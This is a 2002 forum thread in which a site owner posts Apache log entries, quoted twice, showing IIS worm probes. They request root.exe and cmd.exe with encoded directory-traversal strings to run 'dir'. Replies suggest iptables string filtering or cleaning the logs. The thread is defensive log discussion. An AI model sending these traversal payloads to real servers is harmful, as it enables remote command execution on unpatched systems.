Results 1 to 10 of 10

Thread: IIS virus attacks

  1. 03-01-2002, 11:12 AM #1
    cloverm
    cloverm is offline
    Mentor
    Join Date
    Jun 2001
    Posts
    1,672

    IIS virus attacks

    My apache log is full of entries like this:

    Code:
    evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:13 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 270 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:13 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 268 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 278 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 278 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:18 -0500]
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
    I take it it is one of those : IIS : viruses. I was wondering if there was a way of fighting it back. Can I automatically block out IP addresses that send out this crap?
    Reply With Quote Reply With Quote
  2. 03-01-2002, 09:10 PM #2
    Feztaa
    Feztaa is offline
    Kind Mastermind
    Join Date
    Oct 2001
    Posts
    2,394

    Re: IIS virus attacks

    If you are using a kernel newer than 2.4.9, you can use the "string" module in your iptables rules that blocks packets with strings like that.

    The only downside is that the worm will still establish a connection to your apache, it just won't be able to do anything after that. The connection will be forced to time out, which is kind of bad.
    Reply With Quote Reply With Quote
  3. 03-05-2002, 05:10 PM #3
    Compunuts
    Compunuts is offline
    Moderator
    Good Guru     Compunuts's Avatar
    Join Date
    May 2001
    Location
    California
    Posts
    3,935

    Re: IIS virus attacks

    It's easier to just run a script with the cron and take out the log entires...... I've had plently of those ..... : :
    Reply With Quote Reply With Quote
  4. 03-05-2002, 08:48 PM #4
    Killer_Penguin
    Killer_Penguin is offline
    Mentor
    Join Date
    May 2001
    Posts
    1,049

    Re: IIS virus attacks


    My apache log is full of entries like this:

    Code:
    evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:13 -0500] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 270 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:13 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 268 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 278 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 278 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:14 -0500] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 325 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:15 -0500]
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:16 -0500]
"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 275 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:17 -0500]
"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
evrtwa1-ar9-4-34-134-119.evrtwa1.vz.dsl.gtei.net - - [01/Mar/2002:10:04:18 -0500]
"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292 "-" "-"
    I take it it is one of those : IIS : viruses. I was wondering if there was a way of fighting it back. Can I automatically block out IP addresses that send out this crap?
    Evertwa1 eh? thats everett Washington... I've been hit by a few script kiddies from that node...
    Reply With Quote Reply With Quote
  5. 03-06-2002, 12:51 AM #5
    Compunuts
    Compunuts is offline
    Moderator
    Good Guru     Compunuts's Avatar
    Join Date
    May 2001
    Location
    California
    Posts
    3,935

    Re: IIS virus attacks

    This is the reason why bigger pipe can actually be dangerous .... Those clueless people bring down many legitimate uses of high speed net .....
    Reply With Quote Reply With Quote
  6. 03-06-2002, 01:19 AM #6
    Jeepsta
    Jeepsta is offline
    Junior Member
    Join Date
    May 2001
    Posts
    80

    Re: IIS virus attacks

    Hey Cloverm,

    I just ran through my logs here and i am getting those exact same entries..... They seem to be pretty consistant and coming from a variety of sources. > >
    Reply With Quote Reply With Quote
  7. 03-14-2002, 11:25 PM #7
    ph34r
    ph34r is offline
    Senior Member
    Join Date
    May 2001
    Posts
    472

    Re: IIS virus attacks

    I *still* get the original Code Red stuff in my logs...

    Anyway, we know these machines are infected 'cause they are sending it out right? So just how does that exploit work anyway?
    Reply With Quote Reply With Quote
  8. 03-14-2002, 11:29 PM #8
    cloverm
    cloverm is offline
    Mentor
    Join Date
    Jun 2001
    Posts
    1,672

    Re: IIS virus attacks

    I *still* get the original Code Red stuff in my logs...

    Anyway, we know these machines are infected 'cause they are sending it out right? So just how does that exploit work anyway?
    Well it starts with a stupid, careless guy who uses M$ software and calls himself "Administrator".
    Reply With Quote Reply With Quote
  9. 03-15-2002, 12:12 AM #9
    Feztaa
    Feztaa is offline
    Kind Mastermind
    Join Date
    Oct 2001
    Posts
    2,394

    Re: IIS virus attacks

    Well it starts with a stupid, careless guy who uses M$ software and calls himself "Administrator".
    And with any luck at all, it ends with a stupid, careless guy who lives on the street because nobody will hire him.
    Reply With Quote Reply With Quote
  10. 03-15-2002, 04:06 PM #10
    civ1492
    civ1492 is offline
    Advisor
    Join Date
    Jul 2001
    Posts
    870

    Re: IIS virus attacks




    And with any luck at all, it ends with a stupid, careless guy who lives on the street because nobody will hire him.
    maybe in a better future .. :-/
    Reply With Quote Reply With Quote
« Previous Thread | Next Thread »

Similar Threads

  1. Viruses, Worms, Trojan Horses
    By CoolJsa14 in forum Windows - General Topics
    Replies: 9
    Last Post: 11-01-2009, 08:08 AM
  2. Using Virus Protection in Outlook Express 6
    By regix in forum Windows - General Topics
    Replies: 1
    Last Post: 01-03-2005, 10:52 PM
  3. Virus targets 64-bit Windows
    By GhostDawg in forum Windows - General Topics
    Replies: 4
    Last Post: 08-25-2004, 02:39 PM
  4. virus forum??
    By in forum Windows - General Topics
    Replies: 28
    Last Post: 09-01-2003, 09:04 PM
  5. Virus writers getting a head start
    By JimH in forum General Chat
    Replies: 0
    Last Post: 01-10-2002, 12:01 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

Forum Rules